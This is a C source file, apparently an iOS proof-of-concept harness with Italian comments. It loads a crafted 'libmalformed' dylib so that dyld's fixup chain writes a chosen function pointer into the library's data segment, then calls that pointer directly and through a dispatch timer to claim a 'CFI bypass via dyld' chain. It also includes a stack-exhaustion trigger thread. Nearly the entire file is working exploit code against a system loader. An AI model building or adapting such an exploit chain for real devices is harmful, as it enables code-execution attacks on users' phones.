/*
 * launcher2.c
 *
 * Thread A (stack 512KB): dlopen libexports → dlsym write_target_value
 *                         → dlopen libmalformed → verifica canary
 * Thread B (stack piccolo): burn stack → dlopen libclient → trigger
 *
 * Usa dispatch_semaphore (disponibile su iOS) invece di sem_open
 * (POSIX named semaphores non disponibili su iOS SDK).
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <dlfcn.h>
#include <dispatch/dispatch.h>
#include <os/log.h>
#include <mach-o/dyld.h>
#include <mach-o/loader.h>

#define CANARY_BEFORE   0xAAAAAAAAAAAAAAAAULL
#define WRITE_TARGET    0xDEADDEADDEADDEADULL
#define CANARY_AFTER    0xBBBBBBBBBBBBBBBBULL

static uint64_t g_write_target_value_addr = 0;
static void*    g_h_mal = NULL;   // handle libmalformed (tenuto vivo per dispatch chain-close)

typedef struct {
    int      ok;
    uint64_t canary_before;
    uint64_t value_written;
    uint64_t canary_after;
    uint64_t expected_value;
    void*    data_base;
} write_primitive_result_t;

static write_primitive_result_t g_primitive_result;
static dispatch_semaphore_t g_sem_a_done;
static dispatch_semaphore_t g_sem_b_go;
static int g_malform_endptr_present = 0;

// ---------------------------------------------------------------------------
// Trova __DATA di una dylib tramite dyld image list
// ---------------------------------------------------------------------------
static void* find_data_segment(const char* dylib_basename) {
    uint32_t count = _dyld_image_count();
    for (uint32_t i = 0; i < count; i++) {
        const char* name = _dyld_get_image_name(i);
        if (!name) continue;
        const char* base = strrchr(name, '/');
        base = base ? base + 1 : name;
        if (!strstr(base, dylib_basename)) continue;

        const struct mach_header* mh = _dyld_get_image_header(i);
        intptr_t slide = _dyld_get_image_vmaddr_slide(i);
        if (mh->magic != MH_MAGIC_64) continue;

        const struct mach_header_64* mh64 = (const struct mach_header_64*)mh;
        const uint8_t* lc = (const uint8_t*)(mh64 + 1);
        for (uint32_t j = 0; j < mh64->ncmds; j++) {
            const struct load_command* cmd = (const struct load_command*)lc;
            if (cmd->cmd == LC_SEGMENT_64) {
                const struct segment_command_64* seg =
                    (const struct segment_command_64*)lc;
                if (strncmp(seg->segname, "__DATA", 6) == 0)
                    return (void*)(seg->vmaddr + slide);
            }
            lc += cmd->cmdsize;
        }
    }
    return NULL;
}

// ---------------------------------------------------------------------------
// Thread A: verifica primitivo write via libmalformed
// ---------------------------------------------------------------------------
static void* thread_a_primitive_test(void* arg) {
    os_log_fault(OS_LOG_DEFAULT, "POC [ThreadA] avvio");

    // Step 1: carica libexports e ottieni indirizzo runtime di write_target_value
    void* h_exports = dlopen("@executable_path/libexports.dylib",
                             RTLD_NOW | RTLD_GLOBAL);
    if (!h_exports) {
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] dlopen libexports fallito: %s", dlerror());
        dispatch_semaphore_signal(g_sem_a_done);
        return NULL;
    }

    void* sym = dlsym(h_exports, "write_target_value");
    if (!sym) {
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] dlsym write_target_value fallito: %s", dlerror());
        dlclose(h_exports);
        dispatch_semaphore_signal(g_sem_a_done);
        return NULL;
    }
    g_write_target_value_addr = (uint64_t)(uintptr_t)sym;
    os_log_fault(OS_LOG_DEFAULT,
        "POC [ThreadA] write_target_value @ 0x%016llX",
        g_write_target_value_addr);

    // Step 2: carica libmalformed → dyld processa fixup chain →
    //         scrive g_write_target_value_addr in __DATA+0x10
    void* h_mal = dlopen("@executable_path/Frameworks/libmalformed.dylib", RTLD_NOW);
    if (!h_mal) {
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] dlopen libmalformed fallito: %{public}s", dlerror());
        dlclose(h_exports);
        dispatch_semaphore_signal(g_sem_a_done);
        return NULL;
    }
    os_log_fault(OS_LOG_DEFAULT, "POC [ThreadA] libmalformed caricata");

    // Step 3: trova __DATA di libmalformed
    void* data_base = find_data_segment("libmalformed");
    if (!data_base) {
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] __DATA libmalformed non trovato");
        dlclose(h_mal);
        dlclose(h_exports);
        dispatch_semaphore_signal(g_sem_a_done);
        return NULL;
    }

    uint64_t* data = (uint64_t*)data_base;
    os_log_fault(OS_LOG_DEFAULT, "POC [ThreadA] __DATA @ %p", data_base);

    // Step 4: leggi canary e valore scritto da dyld
    uint64_t cb = data[0];   // +0x00 canary_before
    uint64_t wt = data[2];   // +0x10 write_target  ← dyld scrive qui
    uint64_t ca = data[3];   // +0x18 canary_after
    uint64_t wt2 = data[4];  // +0x20 write_target2 (secondo bind nella catena)
    // Se in modalità malform, l'encoded pointer può essere in fondo pagina
    uint64_t end_enc = *(uint64_t*)((uint8_t*)data_base + 0x4000 - 8);

    os_log_fault(OS_LOG_DEFAULT,
        "POC [ThreadA] canary_before:  0x%016llX  %s",
        cb, cb == CANARY_BEFORE ? "OK" : "CORROTTO");
    os_log_fault(OS_LOG_DEFAULT,
        "POC [ThreadA] write_target:   0x%016llX  (era 0x%016llX)  %s",
        wt, WRITE_TARGET,
        wt != WRITE_TARGET ? "SCRITTO DA DYLD" : "non modificato");
    os_log_fault(OS_LOG_DEFAULT,
        "POC [ThreadA] expected:       0x%016llX  (write_target_value)",
        g_write_target_value_addr);
    os_log_fault(OS_LOG_DEFAULT,
        "POC [ThreadA] canary_after:   0x%016llX  %s",
        ca, ca == CANARY_AFTER ? "OK" : "CORROTTO");
    os_log_fault(OS_LOG_DEFAULT,
        "POC [ThreadA] write_target2:  0x%016llX", wt2);
    os_log_fault(OS_LOG_DEFAULT,
        "POC [ThreadA] encoded_end:   0x%016llX (page_end)", end_enc);
    if (wt == 0 && end_enc != 0) {
        g_malform_endptr_present = 1;
    }

    // Se presente POC_TARGET_OFF, prova a leggere/invocare lo slot specificato
    uint64_t target_off = 0;
    const char* env_off = getenv("POC_TARGET_OFF");
    if (env_off && *env_off) {
        if (strstr(env_off, "0x") == env_off || strstr(env_off, "0X") == env_off)
            target_off = strtoull(env_off, NULL, 16);
        else
            target_off = (uint64_t)strtoull(env_off, NULL, 10);
        uint64_t* slot = (uint64_t*)((uint8_t*)data_base + target_off);
        uint64_t wt_custom = *slot;
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] target_off=0x%llX → 0x%016llX", target_off, wt_custom);
        if (wt_custom != 0 && wt_custom != WRITE_TARGET) {
            void (*hook_custom)(void) = (void(*)(void))wt_custom;
            os_log_fault(OS_LOG_DEFAULT, "POC [ThreadA] invoco hook_custom()...");
            hook_custom();
            os_log_fault(OS_LOG_DEFAULT, "POC [ThreadA] hook_custom() eseguita");
        }
    }

    // Step 5: valuta risultato
    int canaries_ok   = (cb == CANARY_BEFORE) && (ca == CANARY_AFTER);
    int value_changed = (wt != WRITE_TARGET);
    int value_correct = (wt == g_write_target_value_addr);
    int call_ok = 0;

    // Prova a invocare il puntatore scritto da dyld: su ARM64E con PAC,
    // l'indirizzo può non eguagliare quello di dlsym ma la call può riuscire.
    if (value_changed) {
        void (*hook_fn)(void) = (void(*)(void))wt;
        os_log_fault(OS_LOG_DEFAULT, "POC [ThreadA] invoco hook_fn()...");
        hook_fn();
        os_log_fault(OS_LOG_DEFAULT, "POC [ThreadA] hook_fn() eseguita");
        call_ok = 1;
        // Prova il secondo puntatore solo se risolto (bit63=0 → non encoded bind entry)
        if (wt2 != 0 && (wt2 >> 63) == 0) {
            void (*hook2)(void) = (void(*)(void))wt2;
            os_log_fault(OS_LOG_DEFAULT, "POC [ThreadA] invoco hook2()...");
            hook2();
            os_log_fault(OS_LOG_DEFAULT, "POC [ThreadA] hook2() eseguita");
        } else if (wt2 != 0) {
            os_log_fault(OS_LOG_DEFAULT,
                "POC [ThreadA] write_target2 ancora encoded (0x%016llX) — dispatch lo chiamerà", wt2);
        }
    }

    if (canaries_ok && value_changed && (value_correct || call_ok)) {
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] === PRIMITIVO CONFERMATO ===");
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] dyld ha scritto 0x%016llX in __DATA+0x10", wt);
        g_primitive_result.ok = 1;
    } else if (value_changed && !value_correct) {
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] valore cambiato ma non corrisponde: "
            "0x%016llX vs 0x%016llX",
            wt, g_write_target_value_addr);
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] probabile rebase invece di bind "
            "- controlla lib_ordinal in macho_controlled_fixup.py");
    } else if (!value_changed) {
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] fixup chain non processata "
            "- verifica struttura Mach-O con otool -l libmalformed.dylib");
    }

    if (!canaries_ok)
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadA] ATTENZIONE: canary corrotti - overflow laterale");

    g_primitive_result.canary_before  = cb;
    g_primitive_result.value_written  = wt;
    g_primitive_result.canary_after   = ca;
    g_primitive_result.expected_value = g_write_target_value_addr;
    g_primitive_result.data_base      = data_base;

    g_h_mal = h_mal;  // NON dlclose: main gestisce ciclo di vita per il dispatch demo
    dlclose(h_exports);
    dispatch_semaphore_signal(g_sem_a_done);
    return NULL;
}

// ---------------------------------------------------------------------------
// Brucia stack con ricorsione poi fa dlopen libclient
// ---------------------------------------------------------------------------
__attribute__((noinline))
static void* deep_dlopen_kb(int kb) {
    if (kb > 0) {
        volatile char pad[1024];
        memset((void*)pad, 0xCC, sizeof(pad));
        return deep_dlopen_kb(kb - 1);
    }

    os_log_fault(OS_LOG_DEFAULT,
        "POC [ThreadB] stack bruciato - dlopen libclient...");

    void* h = dlopen("@executable_path/libclient.dylib", RTLD_NOW);
    if (!h) {
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadB] dlopen fallito: %{public}s", dlerror());
        return NULL;
    }
    os_log_fault(OS_LOG_DEFAULT,
        "POC [ThreadB] libclient caricata (inaspettato - atteso crash)");

    typedef int (*client_run_t)(void);
    client_run_t run = (client_run_t)dlsym(h, "client_run");
    if (run) run();
    return NULL;
}

// ---------------------------------------------------------------------------
// Thread B: stack piccolo, trigger dyld
// ---------------------------------------------------------------------------
static void* thread_b_trigger(void* arg) {
    size_t stack_size = pthread_get_stacksize_np(pthread_self());
    void*  stack_addr = pthread_get_stackaddr_np(pthread_self());

    os_log_fault(OS_LOG_DEFAULT,
        "POC [ThreadB] stack: base=%p size=%zuKB",
        stack_addr, stack_size / 1024);

    // Aspetta il via da main (dopo che Thread A ha finito)
    dispatch_semaphore_wait(g_sem_b_go, DISPATCH_TIME_FOREVER);
    os_log_fault(OS_LOG_DEFAULT, "POC [ThreadB] avvio trigger");

    // Calcola quanti KB bruciare
    int burn_kb = 0;
    const char* env = getenv("POC_BURN_KB");
    if (env && *env) {
        burn_kb = atoi(env);
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadB] POC_BURN_KB=%dKB", burn_kb);
    } else {
        int margin = 64; // margine più ampio per evitare toccare la guard page
        const char* env_margin = getenv("POC_MARGIN_KB");
        if (env_margin && *env_margin) margin = atoi(env_margin);
        int avail  = (int)(stack_size / 1024);
        burn_kb = avail - margin;
        if (burn_kb < 0) burn_kb = 0;
        os_log_fault(OS_LOG_DEFAULT,
            "POC [ThreadB] auto-burn: %dKB - %dKB margine = %dKB da bruciare",
            avail, margin, burn_kb);
    }

    deep_dlopen_kb(burn_kb);
    return NULL;
}

// ---------------------------------------------------------------------------
// main
// ---------------------------------------------------------------------------
int main(int argc, char* argv[]) {
    os_log_fault(OS_LOG_DEFAULT, "POC === START ===");
    os_log_fault(OS_LOG_DEFAULT, "POC [main] stack: %zuKB",
        pthread_get_stacksize_np(pthread_self()) / 1024);

    g_sem_a_done = dispatch_semaphore_create(0);
    g_sem_b_go   = dispatch_semaphore_create(0);

    memset(&g_primitive_result, 0, sizeof(g_primitive_result));

    // --- Thread A: 512KB stack, testa primitivo write ---
    pthread_attr_t attr_a;
    pthread_attr_init(&attr_a);
    pthread_attr_setstacksize(&attr_a, 512 * 1024);
    pthread_t thread_a;
    pthread_create(&thread_a, &attr_a, thread_a_primitive_test, NULL);
    pthread_attr_destroy(&attr_a);

    // Aspetta che Thread A finisca
    dispatch_semaphore_wait(g_sem_a_done, DISPATCH_TIME_FOREVER);
    pthread_join(thread_a, NULL);

    os_log_fault(OS_LOG_DEFAULT,
        "POC [main] ThreadA done - primitivo: %s",
        g_primitive_result.ok ? "CONFERMATO" : "non confermato");

    // --- Darksword chain close: dispatch timer chiama via vtable slot (naturalmente) ---
    // Simula lo scenario in cui il codice compromesso (WebContent) ha registrato
    // i puntatori risolti da dyld come callback di un evento di sistema.
    // Il dispatch_source scatta autonomamente: non è il codice "attaccante" a
    // chiamare direttamente la funzione — è l'event loop.
    if (g_primitive_result.ok && g_primitive_result.data_base && g_h_mal) {
        void** slot_wt2 = (void**)((uint8_t*)g_primitive_result.data_base + 0x20);
        os_log_fault(OS_LOG_DEFAULT,
            "POC [darksword] vtable slot @+0x20 = %p — registro dispatch timer...",
            *slot_wt2);

        dispatch_queue_t dq = dispatch_queue_create("com.poc.darksword.chain", NULL);
        dispatch_source_t src = dispatch_source_create(
            DISPATCH_SOURCE_TYPE_TIMER, 0, 0, dq);
        dispatch_source_set_timer(src,
            dispatch_time(DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC),
            DISPATCH_TIME_FOREVER, 0);

        void** cap_slot = slot_wt2;
        dispatch_source_set_event_handler(src, ^{
            os_log_fault(OS_LOG_DEFAULT,
                "POC [darksword] === EVENTO DISPATCH (naturale) ===");
            os_log_fault(OS_LOG_DEFAULT,
                "POC [darksword] chiamata via vtable @+0x20 — "
                "non invocata da codice attaccante");
            void (*fn)(void) = (void(*)(void))*cap_slot;
            if (fn) {
                fn();
                os_log_fault(OS_LOG_DEFAULT,
                    "POC [darksword] === CHAIN CLOSE: CFI bypass via dyld confermato ===");
            }
            dispatch_source_cancel(src);
        });
        dispatch_resume(src);
        sleep(2);

        dlclose(g_h_mal);
        g_h_mal = NULL;
    }

    // --- Thread B: stack piccolo, trigger ---
    const char* force_env = getenv("POC_FORCE_TRIGGER");
    int force_trigger = (force_env && *force_env == '1');
    if (!g_primitive_result.ok && !force_trigger) {
        os_log_fault(OS_LOG_DEFAULT,
            "POC [main] primitivo non confermato, salto ThreadB (set POC_FORCE_TRIGGER=1 per forzare)");
        goto end_loop;
    }

    int stack_kb = 128;
    const char* env_stack = getenv("POC_STACK_KB");
    if (env_stack && *env_stack) stack_kb = atoi(env_stack);
    os_log_fault(OS_LOG_DEFAULT,
        "POC [main] avvio ThreadB con stack %dKB", stack_kb);

    pthread_attr_t attr_b;
    pthread_attr_init(&attr_b);
    pthread_attr_setstacksize(&attr_b, (size_t)stack_kb * 1024);
    pthread_t thread_b;
    pthread_create(&thread_b, &attr_b, thread_b_trigger, NULL);
    pthread_attr_destroy(&attr_b);

    // Sblocca Thread B solo dopo che Thread A ha completato
    dispatch_semaphore_signal(g_sem_b_go);
    pthread_join(thread_b, NULL);

    os_log_fault(OS_LOG_DEFAULT, "POC [main] ThreadB terminato");
end_loop:
    os_log_fault(OS_LOG_DEFAULT, "POC === loop finale (leggi os_log) ===");
    // Evita watchdog: in presenza di test malform (encoded a fine pagina), termina presto
    if (g_malform_endptr_present) {
        sleep(2);
        return 0;
    }
    while (1) { sleep(1); }
    return 0;
}
